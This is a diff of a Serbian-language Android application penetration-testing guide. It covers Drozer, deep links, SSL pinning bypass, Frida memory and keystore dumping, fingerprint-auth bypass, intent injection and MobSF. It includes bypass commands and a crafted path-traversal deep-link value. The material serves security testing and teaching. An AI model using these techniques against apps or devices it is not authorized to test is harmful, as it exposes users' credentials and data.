Takođe, obratite pažnju da u **konfiguraciji Android VM-a u Genymotionu** možete odabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati sa Android VM-a iz drugog VM-a sa alatima).
#### Koristite fizički uređaj
Potrebno je aktivirati **opcije za otklanjanje grešaka** i bilo bi dobro ako možete da ga **root**-ujete:
Potrebno je aktivirati **opcije za otklanjanje grešaka** i bilo bi dobro ako ga možete **rootovati**:
1. **Podešavanja**.
2. (Od Android 8.0) Izaberite **Sistem**.
@ -301,17 +301,17 @@ Potrebno je aktivirati **opcije za otklanjanje grešaka** i bilo bi dobro ako mo
Programeri treba da budu oprezni prilikom izlaganja **informacija za otklanjanje grešaka** javno, jer to može dovesti do curenja osetljivih podataka. Alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` se preporučuju za praćenje logova aplikacije radi identifikacije i zaštite osetljivih informacija. **Pidcat** je preferiran zbog jednostavnosti korišćenja i čitljivosti.
{% hint style="warning" %}
Imajte na umu da od **kasnijih verzija novijih od Android 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
Imajte na umu da od **kasnijih verzija Androida novijih od 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
U svakom slučaju, i dalje se preporučuje **ne logovati osetljive informacije**.
{% endhint %}
**Keširanje kopiranja/lepljenja u baferu**
Android-ov **sistem zasnovan na klipbordu** omogućava funkcionalnost kopiranja i lepljenja u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **pristupiti** klipbordu, potencijalno izlažući osetljive podatke. Važno je **onemogućiti funkcije kopiranja/lepljenja** za osetljive delove aplikacije, poput detalja kreditne kartice, kako bi se sprečilo curenje podataka.
Android-ov **okvir zasnovan na klipbordu** omogućava funkcionalnost kopiranja i lepljenja u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **pristupiti** klipbordu, potencijalno izlažući osetljive podatke. Važno je **onemogućiti funkcije kopiranja/lepljenja** za osetljive delove aplikacije, poput detalja kreditne kartice, kako bi se sprečilo curenje podataka.
**Logovi o padu**
Ako aplikacija **padne i sačuva logove**, ti logovi mogu pomoći napadačima, posebno kada aplikacija ne može biti reverzno inženjerisana. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom pada, a ako logovi moraju biti preneti preko mreže, osigurajte da se šalju putem SSL kanala radi bezbednosti.
Ako aplikacija **padne i sačuva logove**, ti logovi mogu pomoći napadačima, posebno kada aplikacija ne može biti reverzno inženjerisana. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom pada, a ako logovi moraju biti preneti preko mreže, obezbedite da budu poslati putem SSL kanala radi bezbednosti.
Kao pentester, **pokušajte da pogledate ove logove**.
@ -330,17 +330,17 @@ Enumerišite tabele koristeći `.tables` i enumerišite kolone tabela koristeći
### Drozer (Aktivnosti eksploatacije, pružaoci sadržaja i servisi)
Iz [Drozer Dokumenata](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i interagujete sa drugim aplikacijama. Može raditi **sve što instalirana aplikacija može**, kao što je korišćenje mehanizma Android-ovog međuprocesnog komuniciranja (IPC) i interakcija sa osnovnim operativnim sistemom. .\
Iz [Drozer Dokumenata](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i interagujete sa drugim aplikacijama. Može raditi **sve što instalirana aplikacija može**, kao što je korišćenje Android-ovog mehanizma međuprocesne komunikacije (IPC) i interakcija sa osnovnim operativnim sistemom. .\
Drozer je koristan alat za **eksploataciju izloženih aktivnosti, izloženih servisa i pružalaca sadržaja** kako ćete naučiti u sledećim sekcijama.
### Eksploatisanje izloženih aktivnosti
### Eksploatacija izloženih aktivnosti
[**Pročitajte ovo ako želite da osvežite šta je Android Aktivnost.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Takođe zapamtite da kod aktivnosti počinje u metodi **`onCreate`**.
**Bajpas autorizacije**
Kada je Aktivnost izložena, možete pozvati njen ekran iz spoljne aplikacije. Dakle, ako je aktivnost sa **osetljivim informacijama** **izložena**, mogli biste **bajpasovati** mehanizme **autentifikacije** da biste joj **pristupili**.
Kada je Aktivnost izložena, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **izložena**, mogli biste **bajpasovati** mehanizme **autentifikacije** da biste joj **pristupili**.
[**Naučite kako da eksploatišete izložene aktivnosti pomoću Drozera.**](drozer-tutorial/#activities)
@ -359,18 +359,18 @@ Imajte na umu da zaobilazak autorizacije nije uvek ranjivost, to bi zavisilo od
**Curenje osetljivih informacija**
**Aktivnosti takođe mogu vraćati rezultate**. Ako uspete da pronađete izloženu i nezaštićenu aktivnost koja poziva metodu **`setResult`** i **vraća osetljive informacije**, to predstavlja curenje osetljivih informacija.
**Aktivnosti takođe mogu vratiti rezultate**. Ako uspete da pronađete izloženu i nezaštićenu aktivnost koja poziva metodu **`setResult`** i **vraća osetljive informacije**, to predstavlja curenje osetljivih informacija.
#### Tapjacking
Ako tapjacking nije sprečen, mogli biste zloupotrebiti izloženu aktivnost da naterate **korisnika da izvrši neočekivane radnje**. Za više informacija o [**šta je Tapjacking pratite link**](./#tapjacking).
Ako tapjacking nije sprečen, možete zloupotrebiti izloženu aktivnost da naterate **korisnika da izvrši neočekivane radnje**. Za više informacija o [**šta je Tapjacking pratite link**](./#tapjacking).
### Iskorišćavanje Provajdera Sadržaja - Pristupanje i manipulisanje osetljivim informacijama
[**Pročitajte ovo ako želite da osvežite šta je Provajder Sadržaja.**](android-applications-basics.md#content-provider)\
Provajderi sadržaja se uglavnom koriste za **deljenje podataka**. Ako aplikacija ima dostupne provajdere sadržaja, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je zanimljivo testirati moguće **SQL ubacivanja** i **putanjske prelaske** jer bi mogli biti ranjivi.
Provajderi sadržaja se uglavnom koriste za **deljenje podataka**. Ako aplikacija ima dostupne provajdere sadržaja, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je zanimljivo testirati moguće **SQL injection**-e i **Path Traversal**-e jer bi mogli biti ranjivi.
[**Naučite kako da iskoristite Provajdere Sadržaja sa Drozerom.**](drozer-tutorial/#content-providers)
[**Naučite kako da iskoristite Provajdere Sadržaja sa Drozer-om.**](drozer-tutorial/#content-providers)
### **Iskorišćavanje Servisa**
@ -378,17 +378,17 @@ Provajderi sadržaja se uglavnom koriste za **deljenje podataka**. Ako aplikacij
Zapamtite da akcije Servisa počinju u metodi `onStartCommand`.
Servis je uglavnom nešto što **može primiti podatke**, ih **obraditi** i **vratiti** (ili ne) odgovor. Zatim, ako aplikacija izvozi neke servise, trebalo bi da **proverite** kod da biste razumeli šta radi i **testirali** ga **dinamički** kako biste izvukli poverljive informacije, zaobišli mere autentifikacije...\
[**Naučite kako da iskoristite Servise sa Drozerom.**](drozer-tutorial/#services)
[**Naučite kako da iskoristite Servise sa Drozer-om.**](drozer-tutorial/#services)
### **Iskorišćavanje Prijemnika Emitovanja**
### **Iskorišćavanje Prijemnika Emitovanja (Broadcast Receivers)**
[**Pročitajte ovo ako želite da osvežite šta je Prijemnik Emitovanja.**](android-applications-basics.md#broadcast-receivers)\
[**Pročitajte ovo ako želite da osvežite šta je Prijemnik Emitovanja (Broadcast Receiver).**](android-applications-basics.md#broadcast-receivers)\
Zapamtite da akcije Prijemnika Emitovanja počinju u metodi `onReceive`.
Prijemnik emitovanja će čekati određenu vrstu poruke. Zavisno o tome kako prijemnik obrađuje poruku, može biti ranjiv.\
[**Naučite kako da iskoristite Prijemnike Emitovanja sa Drozerom.**](./#exploiting-broadcast-receivers)
[**Naučite kako da iskoristite Prijemnike Emitovanja sa Drozer-om.**](./#exploiting-broadcast-receivers)
### **Iskorišćavanje Šema / Dubokih linkova**
### **Iskorišćavanje Šema / Dubokih Linkova (Deep links)**
Možete ručno tražiti duboke linkove, koristeći alate poput MobSF-a ili skripte poput [ove](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Možete **otvoriti** deklarisano **šema** koristeći **adb** ili **pregledač**:
@ -399,7 +399,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para
```
{% endcode %}
_Napomena da možete **izostaviti ime paketa** i mobilni će automatski pozvati aplikaciju koja treba da otvori taj link._
_Napomena da možete **izostaviti ime paketa** i mobilni uređaj će automatski pozvati aplikaciju koja treba da otvori taj link._
{% code overflow="wrap" %}
```markup
@ -418,12 +418,12 @@ Da biste pronašli **kod koji će se izvršiti u aplikaciji**, idite na aktivnos
**Osetljive informacije**
Svaki put kada pronađete duboki link, proverite da **ne prima osetljive podatke (kao što su lozinke) putem URL parametara**, jer bi bilo koja druga aplikacija mogla **preuzeti identitet dubinskog linka i ukrasti te podatke!**
Svaki put kada pronađete dubinski link, proverite da **ne prima osetljive podatke (kao što su lozinke) putem URL parametara**, jer bi bilo koja druga aplikacija mogla **preuzeti identitet dubinskog linka i ukrasti te podatke!**
**Parametri u putanji**
Takođe **morate proveriti da li bilo koji duboki link koristi parametar unutar putanje** URL-a kao što je: `https://api.example.com/v1/users/{username}`, u tom slučaju možete izazvati prolazak putanje pristupanjem nečemu poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Imajte na umu da ako pronađete tačne krajnje tačke unutar aplikacije, možda ćete moći izazvati **Otvoreno preusmeravanje** (ako je deo putanje korišćen kao ime domena), **preuzimanje naloga** (ako možete izmeniti detalje korisnika bez CSRF tokena i ranjiva krajnja tačka koristi odgovarajuću metodu) i bilo koju drugu ranjivost. Više [informacija o tome ovde](http://dphoeniixx.com/2020/12/13-2/).
Takođe **morate proveriti da li bilo koji dubinski link koristi parametar unutar putanje** URL-a kao što je: `https://api.example.com/v1/users/{username}`, u tom slučaju možete izazvati prolazak putanje pristupajući nečemu poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Imajte na umu da ako pronađete tačne krajnje tačke unutar aplikacije, možda ćete moći izazvati **Otvoreno preusmeravanje** (ako je deo putanje korišćen kao ime domena), **preuzimanje naloga** (ako možete izmeniti detalje korisnika bez CSRF tokena i ranjiva tačka koristi odgovarajuću metodu) i bilo koju drugu ranjivost. Više [informacija o tome ovde](http://dphoeniixx.com/2020/12/13-2/).
**Još primera**
@ -431,21 +431,21 @@ Interesantan izveštaj o otkrivanju grešaka možete pronaći [ovde](https://hac
### Inspekcija i neuspesi provere sloja transportnog sloja
* **Sertifikati se ne inspiciraju uvek pravilno** od strane Android aplikacija. Često je za ove aplikacije uobičajeno da zanemare upozorenja i prihvate samopotpisane sertifikate ili, u nekim slučajevima, da se vrate na korišćenje HTTP veza.
* **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne skupove šifri. Ova ranjivost čini vezu podložnom napadima čoveka u sredini (MITM), omogućavajući napadačima da dešifruju podatke.
* **Otkrivanje privatnih informacija** je rizik kada aplikacije autentifikuju korišćenjem sigurnih kanala, ali zatim komuniciraju preko nezaštićenih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, poput sesijskih kolačića ili detalja korisnika, od presretanja od strane zlonamernih entiteta.
* **Sertifikati se ne inspiciraju uvek pravilno** od strane Android aplikacija. Često ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza.
* **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne šifrovane pakete. Ova ranjivost čini vezu podložnom napadima čoveka u sredini (MITM), omogućavajući napadačima da dešifruju podatke.
* **Otkrivanje privatnih informacija** je rizik kada aplikacije autentifikuju korišćenjem sigurnih kanala, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, poput sesijskih kolačića ili detalja korisnika, od presretanja od strane zlonamernih entiteta.
#### Provera sertifikata
Fokusiraćemo se na **proveru sertifikata**. Integritet serverskog sertifikata mora biti proveren radi poboljšanja bezbednosti. Ovo je ključno jer nesigurne TLS konfiguracije i prenos osetljivih podataka preko nešifrovanih kanala mogu predstavljati značajne rizike. Za detaljne korake o proveri serverskih sertifikata i rešavanju ranjivosti, [**ovaj resurs**](https://manifestsecurity.com/android-application-security-part-10/) pruža sveobuhvatno vođstvo.
Fokusiraćemo se na **proveru sertifikata**. Integritet serverskog sertifikata mora biti proveren radi poboljšanja sigurnosti. To je ključno jer nesigurne TLS konfiguracije i prenos osetljivih podataka preko nešifrovanih kanala mogu predstavljati značajne rizike. Za detaljne korake o proveri serverskih sertifikata i rešavanju ranjivosti, [**ovaj resurs**](https://manifestsecurity.com/android-application-security-part-10/) pruža sveobuhvatno vođstvo.
#### SSL Pinning
SSL Pinning je sigurnosna mera gde aplikacija proverava serverski sertifikat prema poznatoj kopiji koja je smeštena unutar same aplikacije. Ova metoda je ključna za sprečavanje napada čoveka u sredini. Implementacija SSL Pinninga se snažno preporučuje za aplikacije koje rukuju osetljivim informacijama.
SSL Pinning je sigurnosna mera gde aplikacija proverava serverski sertifikat naspram poznate kopije koja je sačuvana unutar same aplikacije. Ova metoda je ključna za sprečavanje napada čoveka u sredini. Implementacija SSL Pinninga se snažno preporučuje za aplikacije koje rukuju osetljivim informacijama.
#### Inspekcija saobraćaja
Da biste inspicirali HTTP saobraćaj, neophodno je **instalirati sertifikat alata za proksiranje** (npr. Burp). Bez instaliranja ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proksi. Za vodič o instaliranju prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Da biste inspicirali HTTP saobraćaj, neophodno je **instalirati sertifikat alata za proksije** (npr. Burp). Bez instaliranja ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proksi. Za vodič o instaliranju prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju modifikacije Network Security Config-a kako bi prihvatile CA sertifikat proksija. Ovaj korak je ključan za inspiciranje šifrovanog saobraćaja. Za uputstva o modifikaciji Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
@ -457,11 +457,11 @@ Kada je implementiran SSL Pinning, postaje neophodno zaobići ga radi inspiciran
* Možete koristiti **Frida** (opisano ispod) da zaobiđete ovu zaštitu. Evo vodiča za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* Možete takođe pokušati **automatski zaobići SSL Pinning** korišćenjem [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* Možete takođe pokušati **automatski zaobići SSL Pinning** korišćenjem **MobSF dinamičke analize** (objašnjeno ispod)
* Ako i dalje mislite da postoji neki saobraćaj koji ne snimate, možete pokušati **proslediti saobraćaj ka burp korišćenjem iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
* Ako i dalje mislite da postoji saobraćaj koji ne snimate, možete pokušati **proslediti saobraćaj ka burp korišćenjem iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Traženje uobičajenih ranjivosti veb aplikacija
Važno je takođe tražiti uobičajene ranjivosti veb aplikacija unutar aplikacije. Detaljne informacije o identifikaciji i ublažavanju ovih ranjivosti su van obima ovog sažetka, ali su obuhvaćene na drugim mestima.
Važno je takođe tražiti uobičajene ranjivosti veb aplikacija. Detaljne informacije o identifikaciji i ublažavanju ovih ranjivosti prevazilaze obim ovog sažetka, ali su obuhvaćene na drugim mestima.
### Frida
@ -473,10 +473,11 @@ Ako želite da testirate sigurnost Android aplikacija, morate znati kako koristi
* Neke "GUI" za akcije sa Fridom: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* Ojection je odličan za automatizaciju korišćenja Fride: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* Možete pronaći neke sjajne Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
* Pokušajte da zaobiđete anti-debugging / anti-frida mehanizme učitavanjem Fride kako je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
### **Izdvajanje memorije - Fridump**
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebalo da čuva, poput lozinki ili mnemonika.
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebalo da čuva poput lozinki ili mnemonika.
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete izdvojiti memoriju aplikacije sa:
```bash
@ -493,13 +494,11 @@ Ovo će izbaciti memoriju u ./dump fascikli, a zatim možete koristiti grep sa n
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
{% endcode %}
### **Osetljivi podaci u Keystore-u**
U Androidu je Keystore najbolje mesto za čuvanje osetljivih podataka, međutim, sa dovoljno privilegija i dalje je **moguće pristupiti**. Pošto aplikacije često ovde čuvaju **osetljive podatke u obliku čistog teksta**, pentesteri bi trebalo da provere da li su takvi podaci dostupni, jer korisnik sa root privilegijama ili fizičkim pristupom uređaju može ukrasti ove podatke.
U Androidu je Keystore najbolje mesto za čuvanje osetljivih podataka, međutim, sa dovoljno privilegija i dalje je **moguće pristupiti**. Pošto aplikacije često ovde čuvaju **osetljive podatke u obliku čistog teksta**, pentesteri bi trebalo da provere ovo jer korisnik sa root pristupom ili fizičkim pristupom uređaju može ukrasti ove podatke.
Čak i ako je aplikacija sačuvala podatke u keystore-u, podaci bi trebalo da budu enkriptovani.
Čak i ako aplikacija čuva podatke u keystore-u, podaci bi trebalo da budu enkriptovani.
Da biste pristupili podacima unutar keystore-a, možete koristiti ovaj Frida skript: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
@ -507,7 +506,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Bypass otiska prsta/biometrije**
Korišćenjem sledećeg Frida skripta moguće je **zaobići autentifikaciju otiskom prsta** koju Android aplikacije možda vrše kako bi **zaštitile određena osetljiva područja:**
Korišćenjem sledećeg Frida skripta moguće je **zaobići autentifikaciju otiskom prsta** koju Android aplikacije mogu sprovoditi kako bi **zaštitile određena osetljiva područja:**
{% code overflow="wrap" %}
```bash
@ -529,30 +528,30 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Analizator Android aplikacija**
Ovaj alat može vam pomoći u upravljanju različitim alatima tokom dinamičke analize: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
Ovaj alat vam može pomoći u upravljanju različitim alatima tokom dinamičke analize: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
### Injekcija Intenata
### Ubacivanje Intencija
Programeri često kreiraju proxy komponente poput aktivnosti, servisa i broadcast receivera koji obrađuju ove Intente i prosleđuju ih metodama poput `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
Programeri često kreiraju proxy komponente poput aktivnosti, servisa i broadcast receiver-a koji obrađuju ove Intencije i prosleđuju ih metodama poput `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
Opasnost leži u tome što omogućava napadačima da pokrenu neizložene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intenata. Značajan primer je komponenta `WebView` koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, potencijalno dovodeći do zlonamernih Injekcija Intenata.
Opasnost leži u tome što omogućava napadačima da pokrenu neizložene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intencija. Značajan primer je komponenta `WebView` koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, što potencijalno može dovesti do zlonamernih ubacivanja Intencija.
### Ključne informacije
* **Injekcija Intenata** je slična problemu otvorenog preusmeravanja na vebu.
* Eksploatacije uključuju prosleđivanje `Intent` objekata kao dodatnih informacija, koje mogu biti preusmerene da izvrše nesigurne operacije.
* **Ubacivanje Intencija** je slično problemu otvorenog preusmeravanja na vebu.
* Eksploatacije uključuju prosleđivanje `Intent` objekata kao dodatnih podataka, koji mogu biti preusmereni da izvrše nesigurne operacije.
* Može otkriti neizložene komponente i provajdere sadržaja napadačima.
* Konverzija URL-ova u `Intent` objekte u `WebView`-u može olakšati neželjene akcije.
### Injekcije na Android klijentskoj strani i ostalo
### Ubacivanje na Android klijentskoj strani i ostalo
Verovatno ste upoznati sa ovom vrstom ranjivosti sa veba. Morate biti posebno oprezni sa ovim ranjivostima u Android aplikaciji:
Verovatno ste upoznati sa ovom vrstom ranjivosti sa veba. Morate posebno paziti na ove ranjivosti u Android aplikaciji:
* **SQL Injection:** Prilikom rukovanja dinamičkim upitima ili Content-Providerima, osigurajte da koristite parametrizovane upite.
* **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i dodatke onemogućena za sve WebViews (podrazumevano onemogućeno). [Više informacija ovde](webview-attacks.md#javascript-enabled).
* **SQL Injection:** Prilikom rukovanja dinamičkim upitima ili Content-Providerima, proverite da koristite parametrizovane upite.
* **JavaScript Injection (XSS):** Proverite da je podrška za JavaScript i dodatke onemogućena za sve WebViews (podrazumevano onemogućeno). [Više informacija ovde](webview-attacks.md#javascript-enabled).
* **Uključivanje lokalnih fajlova:** WebViews bi trebalo da imaju onemogućen pristup fajl sistemu (podrazumevano omogućeno) - `(webview.getSettings().setAllowFileAccess(false);)`. [Više informacija ovde](webview-attacks.md#javascript-enabled).
* **Večni kolačići**: U nekoliko slučajeva, kada Android aplikacija završi sesiju, kolačić nije povučen ili čak može biti sačuvan na disku.
* [**Bezbedna oznaka** u kolačićima](../../pentesting-web/hacking-with-cookies/#cookies-flags)
* **Večni kolačići**: U nekoliko slučajeva kada Android aplikacija završi sesiju, kolačić nije povučen ili čak može biti sačuvan na disku
* [**Sigurna oznaka** u kolačićima](../../pentesting-web/hacking-with-cookies/#cookies-flags)
***
@ -564,10 +563,10 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa dinamičnim svetom hakovanja putem vesti i uvida u realnom vremenu
Budite u toku sa dinamičnim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovije objave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme
**Poslednje najave**\
Budite informisani o najnovijim programima nagrađivanja za pronalaženje bagova i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
@ -579,13 +578,13 @@ Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažu
![](<../../.gitbook/assets/image (61).png>)
**Procena ranjivosti aplikacije** korišćenjem lepog web-based korisničkog interfejsa. Takođe možete izvršiti dinamičku analizu (ali morate pripremiti okruženje).
**Procena ranjivosti aplikacije** korišćenjem lepog veb baziranog korisničkog interfejsa. Takođe možete izvršiti dinamičku analizu (ali morate pripremiti okruženje).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Primetite da MobSF može analizirati **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacije (_Windows aplikacije moraju biti analizirane sa MobSF instaliranim na Windows hostu_).\
Takođe, ako kreirate **ZIP** fajl sa izvornim kodom **Android** ili **IOS** aplikacije (idite u korenski folder aplikacije, izaberite sve i kreirajte ZIP fajl), MobSF će moći da ga analizira.
Primetite da MobSF može analizirati **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacije (_Windows aplikacije se moraju analizirati sa MobSF instaliranim na Windows hostu_).\
Takođe, ako kreirate **ZIP** fajl sa izvornim kodom **Android** ili **IOS** aplikacije (idite u osnovni folder aplikacije, izaberite sve i kreirajte ZIP fajl), takođe će biti u mogućnosti da ga analizira.
MobSF takođe omogućava **diff/Upoređivanje** analize i integraciju **VirusTotal** (treba da postavite svoj API ključ u _MobSF/settings.py_ i omogućite ga: `VT_ENABLED = TRUE` `VT_API_KEY = <Vaš API ključ>` `VT_UPLOAD = TRUE`). Takođe možete postaviti `VT_UPLOAD` na `False`, tada će **hash** biti **uploadovan** umesto fajla.
@ -596,9 +595,9 @@ MobSF takođe omogućava **diff/Upoređivanje** analize i integraciju **VirusTot
* **Izvući podatke aplikacije** (URL-ove, logove, clipboard, screenshotove koje ste napravili, screenshotove koje je napravio "**Exported Activity Tester**", emailove, SQLite baze podataka, XML fajlove i druge kreirane fajlove). Sve ovo se radi automatski osim screenshotova, morate pritisnuti kada želite screenshot ili pritisnuti "**Exported Activity Tester**" da biste dobili screenshotove svih izvezenih aktivnosti.
* Snimiti **HTTPS saobraćaj**
* Koristiti **Fridu** da dobije **informacije u toku izvršavanja**
* Koristiti **Fridu** da dobije **informacije o izvršavanju**
Od android **verzije > 5**, automatski će pokrenuti Fridu i postaviti globalne **proxy** postavke za **hvatanje** saobraćaja. Hvataće saobraćaj samo od testirane aplikacije.
Od android **verzije > 5**, automatski će pokrenuti Fridu i postaviti globalne **proxy** postavke za **snimanje** saobraćaja. Snimaće saobraćaj samo iz testirane aplikacije.
**Frida**
@ -606,7 +605,7 @@ Podrazumevano, takođe će koristiti neke Frida skripte da **zaobiđe SSL pinnin
MobSF takođe može **pozvati izvezene aktivnosti**, uhvatiti njihove **screenshotove** i **sačuvati** ih za izveštaj.
Za **pokretanje** dinamičkog testiranja pritisnite zeleno dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da vidite logove generisane od Frida skripti i "**Live API Monitor**" da vidite sve pozive ka hakovanim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon što pritisnete "Start Instrumentation").\
MobSF vam takođe dozvoljava da učitate svoje **Frida skripte** (da biste poslali rezultate vaših Frida skripti MobSF-u koristite funkciju `send()`). Takođe ima **nekoliko unapred napisanih skripti** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo ih **izaberite**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
MobSF vam takođe dozvoljava da učitate svoje **Frida skripte** (da biste poslali rezultate vaših Frida skripti MobSF-u koristite funkciju `send()`). Takođe ima **nekoliko unapred napisanih skripti** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo ih **izaberite**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete videti logove tih skripti unutar "**Frida Live Logs**").
![](<../../.gitbook/assets/image (215).png>)
@ -619,11 +618,11 @@ Osim toga, imate neke pomoćne Frida funkcionalnosti:
* **Search Class Pattern**: Pretražuje klase po obrascu
* **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda te klase). Zapamtite da MobSF podrazumevano prati nekoliko interesantnih Android Api metoda.
Kada odaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Intrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
Kada ste izabrali pomoćni modul koji želite da koristite, treba da pritisnete "**Start Intrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
**Shell**
Mobsf takođe donosi shell sa nekim **adb** komandama, **MobSF komandama**, i uobičajenim **shell** **komandama** na dnu stranice dinamičke analize. Neke interesantne komande:
Mobsf takođe donosi shell sa nekim **adb** komandama, **MobSF komandama** i uobičajenim **shell** **komandama** na dnu stranice dinamičke analize. Neke interesantne komande:
```bash
help
shell ls
@ -640,7 +639,7 @@ Da biste to uradili, _uključite Burp -->_ _isključite Intercept --> u MobSB HT
Kada završite dinamičku analizu sa MobSF-om, možete pritisnuti "**Start Web API Fuzzer**" da **fuzzujete http zahteve** i tražite ranjivosti.
{% hint style="info" %}
Nakon obavljanja dinamičke analize sa MobSF-om, postavke proxy servera mogu biti netačno konfigurisane i nećete moći da ih popravite iz GUI-ja. Možete popraviti postavke proxy servera tako što ćete:
Nakon obavljanja dinamičke analize sa MobSF-om, podešavanja proxy servera mogu biti netačna i nećete moći da ih popravite iz GUI-ja. Podešavanja proxy servera možete popraviti na sledeći način:
```
adb shell settings put global http_proxy :0
```
@ -659,7 +658,7 @@ Ovo je **odličan alat za obavljanje statičke analize sa grafičkim korisnički
### [Qark](https://github.com/linkedin/qark)
